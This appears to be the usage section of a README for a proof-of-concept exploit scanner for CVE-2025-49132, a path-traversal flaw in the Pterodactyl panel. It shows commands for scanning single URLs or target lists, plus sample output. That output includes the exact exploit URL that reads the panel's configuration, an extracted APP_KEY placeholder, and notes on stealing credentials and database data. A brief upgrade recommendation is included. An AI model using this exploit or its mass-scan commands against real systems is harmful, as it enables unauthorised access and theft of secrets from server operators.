python3 CVE-2025-49132_poc.py -u http://pterodactyl.example.com

python3 CVE-2025-49132_poc.py -f targets.txt

python3 CVE-2025-49132_poc.py -f targets.txt -o scan_results.txt

[+] Vulnerability exists: Vulnerability confirmed

    Vulnerability details:
      • Vulnerability type: Path traversal
      • Attack vector: Access /locales/locale.json via path traversal parameter
      • Exploit URL: http://target.com/locales/locale.json?locale=..%2F..%2Fconfig&namespace=app
      
    Potential impact:
      • Read credentials in panel configuration file (.env)
      • Extract sensitive information from the database
      • Access game server files managed by the panel
    
    Extracted APP_KEY: base64{{your_secret_key_here}}
    
    Remediation advice: Upgrade immediately to Pterodactyl v1.11.11 or later

[-] No vulnerability exists: No vulnerability found (status code: 404)

Scan Summary:
  • Total targets scanned: 5
  • Vulnerable targets: 2
  • Secure targets: 3

[!] Critical: Vulnerable systems detected! Immediate action required.